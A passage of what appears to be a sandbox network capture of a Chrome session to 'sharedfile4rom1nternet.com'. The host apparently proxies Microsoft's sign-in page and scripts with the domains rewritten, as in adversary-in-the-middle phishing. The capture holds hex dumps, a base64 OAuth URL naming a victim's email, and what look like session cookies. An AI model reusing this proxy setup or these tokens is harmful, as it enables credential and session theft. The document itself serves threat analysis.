2024-11-21 13:45:05 UTC	7038	IN	Data Raw: 7b 69 66 28 21 65 29 7b 74 68 72 6f 77 22 54 68 65 20 74 61 72 67 65 74 20 65 6c 65 6d 65 6e 74 20 6d 75 73 74 20 62 65 20 70 72 6f 76 69 64 65 64 20 61 6e 64 20 63 61 6e 6e 6f 74 20 62 65 20 6e 75 6c 6c 2e 22 7d 72 3f 63 2e 4f 6e 45 72 72 6f 72 28 65 2c 74 29 3a 63 2e 4f 6e 53 75 63 63 65 73 73 28 65 2c 74 29 7d 2c 63 2e 4f 6e 53 75 63 63 65 73 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 21 65 29 7b 74 68 72 6f 77 22 54 68 65 20 74 61 72 67 65 74 20 65 6c 65 6d 65 6e 74 20 6d 75 73 74 20 62 65 20 70 72 6f 76 69 64 65 64 20 61 6e 64 20 63 61 6e 6e 6f 74 20 62 65 20 6e 75 6c 6c 2e 22 7d 69 66 28 75 28 65 29 29 7b 72 65 74 75 72 6e 20 63 2e 4f 6e 45 72 72 6f 72 28 65 2c 74 29 7d 76 61 72 20 6e 3d 65 2e 73 72 63 7c 7c 65 2e 68 72 65 66 7c 7c 22 Data Ascii: {if(!e){throw"The target element must be provided and cannot be null."}r?c.OnError(e,t):c.OnSuccess(e,t)},c.OnSuccess=function(e,t){if(!e){throw"The target element must be provided and cannot be null."}if(u(e)){return c.OnError(e,t)}var n=e.src\|\|e.href\|\|"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.16	49755	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:06 UTC	2348	OUT	GET /aadcdn.msftauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg== Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; fpc=Avn7DxbZNW5Duk-Ql76pr3o; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeUgpMIAYYkbd69rBxviK9bLIkdFiLLaJFpSsNEIrRBi34UVHSiqJEsI-Wknkvcd6lAKkgZTTg95vygAPTkdELq6xqgkzgxAyV8cdsfX7l7tRrY80PHSqfe0XRYWJHuOBtBxXnumGuIZ-nKPo4KgCwfv8AYiByz6O3OZ3xQWok4P8gAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
2024-11-21 13:45:07 UTC	1343	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 4274215 Cache-Control: public, max-age=31536000 Content-MD5: m5bMCfnonQM0ui+8IrUZeg== Content-Type: application/x-javascript Date: Thu, 21 Nov 2024 13:45:07 GMT Etag: 0x8DCE31CBE97473C Last-Modified: Wed, 02 Oct 2024 19:59:37 GMT Server: ECAcc (ska/F6D5) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 0753991b-e01e-00b1-213b-154adb000000 x-ms-version: 2009-09-19 content-length: 142382 Connection: close Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-11-21 13:45:07 UTC	15041	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-11-21 13:45:07 UTC	16384	IN	Data Raw: 74 28 22 73 70 61 6e 22 29 3b 65 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 4c 65 66 74 43 6f 6c 6f 72 3d 22 72 65 64 22 2c 65 2e 73 74 79 6c 65 2e 62 6f 72 64 65 72 52 69 67 68 74 43 6f 6c 6f 72 3d 22 62 6c 75 65 22 2c 65 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 61 62 73 6f 6c 75 74 65 22 2c 65 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 2d 39 39 39 70 78 22 2c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 3b 76 61 72 20 74 3d 5f 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 29 3b 43 3d 74 2e 62 6f 72 64 65 72 4c 65 66 74 43 6f 6c 6f 72 3d 3d 3d 74 2e 62 6f 72 64 65 72 52 69 67 68 74 43 6f 6c 6f 72 2c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 65 29 2c 41 26 26 21 43 26 26 Data Ascii: t("span");e.style.borderLeftColor="red",e.style.borderRightColor="blue",e.style.position="absolute",e.style.top="-999px",document.body.appendChild(e);var t=_.getComputedStyle(e);C=t.borderLeftColor===t.borderRightColor,document.body.removeChild(e),A&&!C&&
2024-11-21 13:45:08 UTC	16384	IN	Data Raw: 54 49 4c 45 5f 55 52 4c 3a 22 54 69 6c 65 55 72 6c 22 2c 43 49 44 3a 22 43 49 44 22 2c 50 55 49 44 3a 22 50 55 49 44 22 7d 2c 74 2e 44 45 46 41 55 4c 54 5f 43 48 41 4e 4e 45 4c 5f 49 44 3d 22 35 33 65 65 32 38 34 64 2d 39 32 30 61 2d 34 62 35 39 2d 39 64 33 30 2d 61 36 30 33 31 35 62 32 36 38 33 36 22 2c 74 2e 44 45 46 41 55 4c 54 5f 50 52 45 46 45 52 52 45 44 5f 45 58 54 45 4e 53 49 4f 4e 5f 49 44 3d 22 70 70 6e 62 6e 70 65 6f 6c 67 6b 69 63 67 65 67 6b 62 6b 62 6a 6d 68 6c 69 64 65 6f 70 69 6a 69 22 2c 74 2e 57 65 62 4e 61 74 69 76 65 42 72 69 64 67 65 53 75 63 63 65 73 73 3d 22 53 75 63 63 65 73 73 22 2c 74 2e 44 46 50 50 72 65 66 69 78 3d 22 64 66 70 3a 22 2c 74 2e 45 72 72 6f 72 3d 7b 53 5f 4f 4b 3a 22 30 22 2c 49 6e 76 61 6c 69 64 52 65 61 6c 6d 44 Data Ascii: TILE_URL:"TileUrl",CID:"CID",PUID:"PUID"},t.DEFAULT_CHANNEL_ID="53ee284d-920a-4b59-9d30-a60315b26836",t.DEFAULT_PREFERRED_EXTENSION_ID="ppnbnpeolgkicgegkbkbjmhlideopiji",t.WebNativeBridgeSuccess="Success",t.DFPPrefix="dfp:",t.Error={S_OK:"0",InvalidRealmD
2024-11-21 13:45:08 UTC	16384	IN	Data Raw: 3d 6a 51 75 65 72 79 29 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 6f 3d 5b 74 2c 6e 5d 2c 28 69 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 72 3d 61 29 3f 72 2e 61 70 70 6c 79 28 74 2c 6f 29 3a 72 29 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 7c 7c 28 65 2e 65 78 70 6f 72 74 73 3d 69 29 7d 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 6e 75 6c 6c 3d 3d 3d 65 7c 7c 74 79 70 65 6f 66 20 65 20 69 6e 20 43 29 26 26 65 3d 3d 3d 74 7d 66 75 6e 63 74 69 6f 6e 20 72 28 65 2c 74 29 7b 76 61 72 20 6e 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 28 6e 3d 53 2e 61 2e 73 65 74 54 69 6d 65 6f 75 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 61 2c 65 28 29 7d 29 2c 74 29 Data Ascii: =jQuery),function(a){o=[t,n],(i="function"==typeof(r=a)?r.apply(t,o):r)===undefined\|\|(e.exports=i)}((function(e,t){function n(e,t){return(null===e\|\|typeof e in C)&&e===t}function r(e,t){var n;return function(){n\|\|(n=S.a.setTimeout((function(){n=a,e()}),t)
2024-11-21 13:45:08 UTC	16384	IN	Data Raw: 73 2e 71 63 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 6e 26 26 73 2e 4a 61 7c 7c 28 61 3d 21 6e 29 2c 73 2e 65 64 3d 73 2e 55 2e 63 68 61 6e 67 65 2e 73 6c 69 63 65 28 30 29 2c 73 2e 4a 61 3d 74 3d 21 30 2c 6f 3d 65 2c 63 28 29 7d 2c 73 2e 70 63 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 7c 7c 28 72 3d 65 2c 73 2e 67 62 28 65 2c 22 62 65 66 6f 72 65 43 68 61 6e 67 65 22 29 29 7d 2c 73 2e 72 63 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 61 3d 21 30 7d 2c 73 2e 67 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 73 2e 73 62 28 72 2c 73 2e 76 28 21 30 29 29 26 26 28 6e 3d 21 30 29 7d 7d 2c 57 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 55 5b 65 5d 26 26 74 68 69 73 2e 55 5b 65 5d 2e 6c 65 6e 67 74 68 7d 2c 42 64 3a 66 75 6e 63 74 69 6f 6e Data Ascii: s.qc=function(e,n){n&&s.Ja\|\|(a=!n),s.ed=s.U.change.slice(0),s.Ja=t=!0,o=e,c()},s.pc=function(e){t\|\|(r=e,s.gb(e,"beforeChange"))},s.rc=function(){a=!0},s.gd=function(){s.sb(r,s.v(!0))&&(n=!0)}},Wa:function(e){return this.U[e]&&this.U[e].length},Bd:function
2024-11-21 13:45:08 UTC	16384	IN	Data Raw: 66 28 73 5b 53 2e 61 2e 52 28 6e 29 5d 29 7b 76 61 72 20 6f 3d 6e 2e 66 69 72 73 74 43 68 69 6c 64 3b 69 66 28 6f 29 64 6f 7b 69 66 28 31 3d 3d 3d 6f 2e 6e 6f 64 65 54 79 70 65 29 7b 76 61 72 20 69 2c 61 3d 6e 75 6c 6c 3b 69 66 28 69 3d 6f 2e 66 69 72 73 74 43 68 69 6c 64 29 64 6f 7b 69 66 28 61 29 61 2e 70 75 73 68 28 69 29 3b 65 6c 73 65 20 69 66 28 65 28 69 29 29 7b 76 61 72 20 75 3d 72 28 69 2c 21 30 29 3b 75 3f 69 3d 75 3a 61 3d 5b 69 5d 7d 65 6c 73 65 20 74 28 69 29 26 26 28 61 3d 5b 69 5d 29 7d 77 68 69 6c 65 28 69 3d 69 2e 6e 65 78 74 53 69 62 6c 69 6e 67 29 3b 69 66 28 69 3d 61 29 66 6f 72 28 61 3d 6f 2e 6e 65 78 74 53 69 62 6c 69 6e 67 2c 75 3d 30 3b 75 3c 69 2e 6c 65 6e 67 74 68 3b 75 2b 2b 29 61 3f 6e 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 Data Ascii: f(s[S.a.R(n)]){var o=n.firstChild;if(o)do{if(1===o.nodeType){var i,a=null;if(i=o.firstChild)do{if(a)a.push(i);else if(e(i)){var u=r(i,!0);u?i=u:a=[i]}else t(i)&&(a=[i])}while(i=i.nextSibling);if(i=a)for(a=o.nextSibling,u=0;u<i.length;u++)a?n.insertBefore(
2024-11-21 13:45:08 UTC	16384	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 65 2c 72 2c 6f 2c 69 2c 61 29 7b 76 61 72 20 73 2c 75 2c 63 2c 6c 2c 64 2c 66 3d 7b 7d 3b 69 66 28 74 29 7b 69 3d 6f 2e 67 65 74 28 22 61 73 22 29 3b 76 61 72 20 70 3d 6f 2e 67 65 74 28 22 6e 6f 43 68 69 6c 64 43 6f 6e 74 65 78 74 22 29 3b 66 3d 7b 61 73 3a 69 2c 6e 6f 43 68 69 6c 64 43 6f 6e 74 65 78 74 3a 70 2c 65 78 70 6f 72 74 44 65 70 65 6e 64 65 6e 63 69 65 73 3a 64 3d 21 28 69 26 26 70 29 7d 7d 72 65 74 75 72 6e 20 6c 3d 28 63 3d 22 72 65 6e 64 65 72 22 3d 3d 6f 2e 67 65 74 28 22 63 6f 6d 70 6c 65 74 65 4f 6e 22 29 29 7c 7c 6f 2e 68 61 73 28 53 2e 69 2e 70 61 29 2c 53 2e 6f 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 2c 69 3d 53 2e 61 2e 66 28 72 28 29 29 2c 70 3d 21 6e 21 3d 21 69 2c 68 3d 21 75 3b 28 64 7c 7c Data Ascii: function(e,r,o,i,a){var s,u,c,l,d,f={};if(t){i=o.get("as");var p=o.get("noChildContext");f={as:i,noChildContext:p,exportDependencies:d=!(i&&p)}}return l=(c="render"==o.get("completeOn"))\|\|o.has(S.i.pa),S.o((function(){var o,i=S.a.f(r()),p=!n!=!i,h=!u;(d\|\|
2024-11-21 13:45:08 UTC	16384	IN	Data Raw: 45 3c 6f 2e 6c 65 6e 67 74 68 3b 29 64 28 43 2b 2b 29 3b 79 2e 5f 63 6f 75 6e 74 57 61 69 74 69 6e 67 46 6f 72 52 65 6d 6f 76 65 3d 78 7d 53 2e 61 2e 67 2e 73 65 74 28 72 2c 74 2c 79 29 2c 66 28 73 2e 62 65 66 6f 72 65 4d 6f 76 65 2c 41 29 2c 53 2e 61 2e 44 28 77 2c 73 2e 62 65 66 6f 72 65 52 65 6d 6f 76 65 3f 53 2e 6f 61 3a 53 2e 72 65 6d 6f 76 65 4e 6f 64 65 29 3b 74 72 79 7b 6d 3d 72 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 7d 63 61 74 63 68 28 49 29 7b 7d 69 66 28 50 2e 6c 65 6e 67 74 68 29 66 6f 72 28 3b 28 4f 3d 50 2e 73 68 69 66 74 28 29 29 21 3d 61 3b 29 7b 66 6f 72 28 70 3d 79 5b 4f 5d 2c 68 3d 61 3b 4f 3b 29 69 66 28 28 67 3d 79 5b 2d 2d 4f 5d 2e 59 29 26 26 67 2e 6c 65 6e 67 74 68 29 7b 68 3d 67 5b 67 Data Ascii: E<o.length;)d(C++);y._countWaitingForRemove=x}S.a.g.set(r,t,y),f(s.beforeMove,A),S.a.D(w,s.beforeRemove?S.oa:S.removeNode);try{m=r.ownerDocument.activeElement}catch(I){}if(P.length)for(;(O=P.shift())!=a;){for(p=y[O],h=a;O;)if((g=y[--O].Y)&&g.length){h=g[g
2024-11-21 13:45:08 UTC	12653	IN	Data Raw: 3d 3d 61 26 26 28 65 3d 6e 65 77 20 75 28 7b 6c 6f 67 4d 65 73 73 61 67 65 3a 62 2c 6c 6f 67 44 61 74 61 50 6f 69 6e 74 3a 79 7d 2c 6e 2e 6e 6f 6e 6f 6e 63 65 2c 22 73 68 61 72 65 64 66 69 6c 65 34 72 6f 6d 31 6e 74 65 72 6e 65 74 2e 63 6f 6d 22 2c 6f 2c 69 29 2e 67 65 74 43 6f 6f 6b 69 65 73 41 73 79 6e 63 28 29 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 7c 7c 21 65 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 73 2e 72 65 6a 65 63 74 28 6e 65 77 20 75 2e 45 72 72 6f 72 28 22 50 61 67 65 45 78 63 65 70 74 69 6f 6e 22 2c 22 45 78 74 65 6e 73 69 6f 6e 20 72 65 74 75 72 6e 65 64 20 6e 6f 20 63 6f 6f 6b 69 65 73 22 29 29 3b 66 6f 72 28 76 61 72 20 74 3d 30 2c 6e 3d 65 2e 6c 65 6e 67 74 68 3b 74 3c 6e 3b 2b 2b 74 29 7b 76 61 72 20 Data Ascii: ==a&&(e=new u({logMessage:b,logDataPoint:y},n.nononce,"sharedfile4rom1nternet.com",o,i).getCookiesAsync().then((function(e){if(!e\|\|!e.length)return s.reject(new u.Error("PageException","Extension returned no cookies"));for(var t=0,n=e.length;t<n;++t){var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.16	49758	185.156.109.33	443	68	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:45:09 UTC	3421	OUT	GET /?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true HTTP/1.1 Host: sharedfile4rom1nternet.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg== Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; fpc=Avn7DxbZNW5Duk-Ql76pr3o; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeUgpMIAYYkbd69rBxviK9bLIkdFiLLaJFpSsNEIrRBi34UVHSiqJEsI-Wknkvcd6lAKkgZTTg95vygAPTkdELq6xqgkzgxAyV8cdsfX7l7tRrY80PHSqfe0XRYWJHuOBtBxXnumGuIZ-nKPo4KgCwfv8AYiByz6O3OZ3xQWok4P8gAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2024-11-21 13:45:11 UTC	3141	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains Link: <https://aadcdn.msftauth.net>; rel=preconnect; crossorigin,<https://aadcdn.msftauth.net>; rel=dns-prefetch,<https://aadcdn.msauth.net>; rel=dns-prefetch P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: f7f58e32-3375-4a10-a107-97efb2740600 x-ms-ests-server: 2.1.19492.3 - EUS ProdSlices nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy-Report-Only: object-src 'none'; base-uri 'self'; script-src 'self' 'nonce-WWqRpIxmZMTaZJMOHtyTEQ' 'unsafe-inline' 'unsafe-eval' https://.msauth.net https://.msftauth.net https://.msftauthimages.net https://.msauthimages.net https://.msidentity.com https://.microsoftonline-p.com https://.microsoftazuread-sso.com https://.azureedge.net 'report-sample'; img-src 'self' data: https://.msauth.net https://.msftauth.net https://.msftauthimages.net https://.msauthimages.net https://.msidentity.com https://.microsoftonline-p.com https://.microsoftazuread-sso.com https://.azureedge.net 'report-sample'; report-uri https://csp.microsoft.com/report/ESTS-UX-All Set-Cookie: buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; expires=Sat, 21-Dec-2024 13:45:10 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; domain=sharedfile4rom1nternet.com; path=/; secure; HttpOnly; SameSite=None Set-Cookie: 